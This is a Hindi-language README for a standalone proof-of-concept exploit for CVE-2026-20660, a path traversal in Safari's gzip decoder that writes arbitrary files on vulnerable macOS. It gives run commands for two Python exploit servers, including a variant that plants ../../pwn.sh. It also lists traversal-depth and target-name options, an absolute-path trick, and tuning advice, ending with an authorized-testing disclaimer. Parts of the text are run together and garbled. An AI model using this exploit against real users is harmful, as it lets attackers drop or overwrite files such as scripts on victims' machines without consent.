
स्टैंडअलोन PoC एक्सप्लॉइट CVE-2026-20660 के लिए: Safari के gzip डिकोडर में पाथ ट्रैवर्सल। सर्वर कमजोर macOS पर मनमानी फ़ाइलें लिखने के लिए दुर्भावनापूर्ण gzip वितरित करता है।
यह फ़ोल्डर निम्नलिखित के लिए एक स्टैंडअलोन प्रूफ-ऑफ-कॉन्सेप्ट पैकेज करता है:
NSGZipDecoder पाथ ट्रैवर्सलserver.py: कॉन्फ़िगर करने योग्य ट्रैवर्सल गहराई और लक्ष्य नाम वाला मुख्य PoC सर्वरserver_overwrite.py: ../../pwn.sh लिखने वाला केंद्रित वैरिएंटREADME.md: पुनरुत्पादन नोट्स और संचालन लॉगपैच डिफ दिखाता है कि -[NSGZipDecoder filenameWithOriginalFilename:] का व्यवहार बदला गया है:
lastPathComponent लागू करना।यह FNAME में ../ जैसे डायरेक्ट्री घटकों और निरपेक्ष पथों को रोकता है।
HTTP फ़ाइलनाम साफ हो सकता है और फिर भी एक्सप्लॉइट सफल होता है।
Content-Disposition फ़ाइलनाम: साफ (उदाहरण: report.gz)../../proof.txt)Safari-पक्ष की सैनिटाइज़ेशन मुख्य रूप से HTTP-परत के नामों पर लागू होती है, न कि एम्बेडेड gzip FNAME पर, जिसे भेद्य प्रवाह में NSGZipDecoder द्वारा उपयोग किया जाता है।
रिपॉजिटरी रूट से:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
भेद्य Safari में खोलें:
http://<server-ip>:8888/
Trigger depth=2 पर क्लिक करें।
ट्रिगर करने के बाद, लक्ष्य मशीन पर लेखन परिणाम सत्यापित करें:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
ओवरराइट वैरिएंट के लिए:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
फिर खोलें:
http://<server-ip>:9999/
जाँच करें:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: बाइंड पता (डिफ़ॉल्ट 0.0.0.0)--port, -p: लिसनिंग पोर्ट (डिफ़ॉल्ट 8888)--depth, -d: ट्रैवर्सल गहराई (../ पुनरावृत्ति संख्या, डिफ़ॉल्ट 2)--name, -n: लक्ष्य आउटपुट फ़ाइल का नामउदाहरण:
# write to ~/proof.txt when depth matches runtime directory nesting
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# explicit absolute path test (if resolver permits)
python3 exploit/cve-2026-20660/server.py -p 8888
# then use: /download?depth=0&fname=/tmp/proof.txt
~/Downloads के अंतर्गत एक अस्थायी डायरेक्ट्री में हो सकता है, इसलिए ~/ तक पहुँचने के लिए गहराई अक्सर >= 2 की आवश्यकता होती है।2, 3, 4) बढ़ाएँ और दोबारा परीक्षण करें।केवल अधिकृत परीक्षण वातावरण में उपयोग करें।
अधिक विस्तृत स्पष्टीकरण के लिए देखें: